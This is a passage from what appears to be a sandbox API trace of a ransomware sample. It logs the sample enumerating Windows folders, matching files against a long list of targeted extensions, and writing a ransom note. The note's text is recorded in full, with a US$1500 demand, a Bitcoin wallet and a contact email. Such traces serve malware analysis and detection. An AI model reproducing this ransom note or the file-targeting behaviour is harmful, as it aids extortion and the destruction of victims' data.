lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\", lpString2="78d29852ca34a455383a06b03458dfa5" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5" [0119.713] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5") returned 97 [0119.713] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa38b92b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa38b92b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa38b92b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0119.713] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0119.713] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa38b92b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa38b92b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa38b92b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.713] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0119.713] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0119.713] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa386cff0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa386cff0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa38df410, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x15cc00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Management.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0119.713] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0119.714] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Management.ni.dll") returned -1 [0119.714] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Management.ni.dll") returned -1 [0119.714] lstrcmpiA (lpString1="", lpString2="System.Management.ni.dll") returned -1 [0119.714] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\*.*") returned="*.*" [0119.714] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\" [0119.714] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\") returned="" [0119.714] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\HOW TO DECRYPT FILES.txt" [0119.714] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.management\\78d29852ca34a455383a06b03458dfa5\\how to decrypt files.txt")) returned 0xffffffff [0119.714] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.management\\78d29852ca34a455383a06b03458dfa5\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0119.904] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0119.904] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0119.908] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0119.908] CloseHandle (hObject=0x90) returned 1 [0119.908] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\", lpString2="System.Management.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll" [0119.908] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.ems") returned 0 [0119.908] lstrlenA (lpString="*.ems") returned 5 [0119.908] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.db") returned 0 [0119.908] lstrlenA (lpString="*.db") returned 4 [0119.908] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.dbf") returned 0 [0119.908] lstrlenA (lpString="*.dbf") returned 5 [0119.909] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.myox") returned 0 [0119.909] lstrlenA (lpString="*.myox") returned 6 [0119.909] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.myo") returned 0 [0119.909] lstrlenA (lpString="*.myo") returned 5 [0119.909] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.qbw") returned 0 [0119.909] lstrlenA (lpString="*.qbw") returned 5 [0119.909] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.qbb") returned 0 [0119.909] lstrlenA (lpString="*.qbb") returned 5 [0119.909] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.qbm") returned 0 [0119.909] lstrlenA (lpString="*.qbm") returned 5 [0119.909] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.qbo") returned 0 [0119.909] lstrlenA (lpString="*.qbo") returned 5 [0119.909] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.qbx") returned 0 [0119.909] lstrlenA (lpString="*.qbx") returned 5 [0119.909] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.qba") returned 0 [0119.910] lstrlenA (lpString="*.qba") returned 5 [0119.910] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.qby") returned 0 [0119.910] lstrlenA (lpString="*.qby") returned 5 [0119.910] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.qbj") returned 0 [0119.910] lstrlenA (lpString="*.qbj") returned 5 [0119.910] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.ofx") returned 0 [0119.910] lstrlenA (lpString="*.ofx") returned 5 [0119.910] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.qif") returned 0 [0119.910] lstrlenA (lpString="*.qif") returned 5 [0119.910] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.mye") returned 0 [0119.910] lstrlenA (lpString="*.mye") returned 5 [0119.910] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.mbox") returned 0 [0119.910] lstrlenA (lpString="*.mbox") returned 6 [0119.910] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.eml") returned 0 [0119.910] lstrlenA (lpString="*.eml") returned 5 [0119.911] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.pst") returned 0 [0119.911] lstrlenA (lpString="*.pst") returned 5 [0119.911] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.ost") returned 0 [0119.912] lstrlenA (lpString="*.ost") returned 5 [0119.912] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.idx") returned 0 [0119.912] lstrlenA (lpString="*.idx") returned 5 [0119.912] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.dbx") returned 0 [0119.912] lstrlenA (lpString="*.dbx") returned 5 [0119.912] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.sql") returned 0 [0119.912] lstrlenA (lpString="*.sql") returned 5 [0119.912] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.mdb") returned 0 [0119.912] lstrlenA (lpString="*.mdb") returned 5 [0119.912] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.fdb") returned 0 [0119.912] lstrlenA (lpString="*.fdb") returned 5 [0119.913] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.wab") returned 0 [0119.913] lstrlenA (lpString="*.wab") returned 5 [0119.913] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.dat") returned 0 [0119.913] lstrlenA (lpString="*.dat") returned 5 [0119.913] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.txt") returned 0 [0119.913] lstrlenA (lpString="*.txt") returned 5 [0119.913] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.jpeg") returned 0 [0119.913] lstrlenA (lpString="*.jpeg") returned 6 [0119.913] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.jpg") returned 0 [0119.913] lstrlenA (lpString="*.jpg") returned 5 [0119.914] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.png") returned 0 [0119.914] lstrlenA (lpString="*.png") returned 5 [0119.914] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.php") returned 0 [0119.914] lstrlenA (lpString="*.php") returned 5 [0119.914] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.cs") returned 0 [0119.914] lstrlenA (lpString="*.cs") returned 4 [0119.914] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.cpp") returned 0 [0119.914] lstrlenA (lpString="*.cpp") returned 5 [0119.914] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.rar") returned 0 [0119.914] lstrlenA (lpString="*.rar") returned 5 [0119.914] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.zip") returned 0 [0119.914] lstrlenA (lpString="*.zip") returned 5 [0119.914] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.html") returned 0 [0119.915] lstrlenA (lpString="*.html") returned 6 [0119.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.htm") returned 0 [0119.915] lstrlenA (lpString="*.htm") returned 5 [0119.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.xlsx") returned 0 [0119.915] lstrlenA (lpString="*.xlsx") returned 6 [0119.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.xls") returned 0 [0119.915] lstrlenA (lpString="*.xls") returned 5 [0119.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.mp4") returned 0 [0119.915] lstrlenA (lpString="*.mp4") returned 5 [0119.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.ppt") returned 0 [0119.915] lstrlenA (lpString="*.ppt") returned 5 [0119.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.pptx") returned 0 [0119.916] lstrlenA (lpString="*.pptx") returned 6 [0119.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.doc") returned 0 [0119.916] lstrlenA (lpString="*.doc") returned 5 [0119.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.dot") returned 0 [0119.916] lstrlenA (lpString="*.dot") returned 5 [0119.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.docx") returned 0 [0119.916] lstrlenA (lpString="*.docx") returned 6 [0119.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.7z") returned 0 [0119.916] lstrlenA (lpString="*.7z") returned 4 [0119.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.tar") returned 0 [0119.916] lstrlenA (lpString="*.tar") returned 5 [0119.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.bz2") returned 0 [0119.916] lstrlenA (lpString="*.bz2") returned 5 [0119.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.gz") returned 0 [0119.917] lstrlenA (lpString="*.gz") returned 4 [0119.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.mkv") returned 0 [0119.917] lstrlenA (lpString="*.mkv") returned 5 [0119.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.eml") returned 0 [0119.917] lstrlenA (lpString="*.eml") returned 5 [0119.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.msg") returned 0 [0119.917] lstrlenA (lpString="*.msg") returned 5 [0119.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.edb") returned 0 [0119.917] lstrlenA (lpString="*.edb") returned 5 [0119.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.accdb") returned 0 [0119.917] lstrlenA (lpString="*.accdb") returned 7 [0119.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.odb") returned 0 [0119.917] lstrlenA (lpString="*.odb") returned 5 [0119.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.java") returned 0 [0119.917] lstrlenA (lpString="*.java") returned 6 [0119.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.asm") returned 0 [0119.917] lstrlenA (lpString="*.asm") returned 5 [0119.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.pfx") returned 0 [0119.918] lstrlenA (lpString="*.pfx") returned 5 [0119.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.pem") returned 0 [0119.918] lstrlenA (lpString="*.pem") returned 5 [0119.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll", pszSpec="*.p12") returned 0 [0119.918] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa38b92b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa38b92b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa38b92b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x2fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Management.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0119.918] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0119.918] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Management.ni.dll.aux") returned -1 [0119.919] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Management.ni.dll.aux") returned -1 [0119.919] lstrcmpiA (lpString1="", lpString2="System.Management.ni.dll.aux") returned -1 [0119.919] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll") returned="System.Management.ni.dll" [0119.919] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\" [0119.919] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\") returned="" [0119.919] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\HOW TO DECRYPT FILES.txt" [0119.919] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.management\\78d29852ca34a455383a06b03458dfa5\\how to decrypt files.txt")) returned 0x20 [0119.919] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\", lpString2="System.Management.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll.aux" [0119.919] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll.aux", pszSpec="*.ems") returned 0 [0119.920] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa38b92b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa38b92b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa38b92b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x2fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Management.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0119.920] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0119.920] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa38b92b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa38b92b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa38b92b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="78d29852ca34a455383a06b03458dfa5", cAlternateFileName="78D298~1")) returned 0 [0119.920] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0119.920] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1387af0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa1387af0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa1387af0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Messaging", cAlternateFileName="SYSTEM~1.MES")) returned 1 [0119.920] lstrcmpA (lpString1=".", lpString2="System.Messaging") returned -1 [0119.920] lstrcmpA (lpString1="..", lpString2="System.Messaging") returned -1 [0119.920] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0119.921] lstrcatA (in: 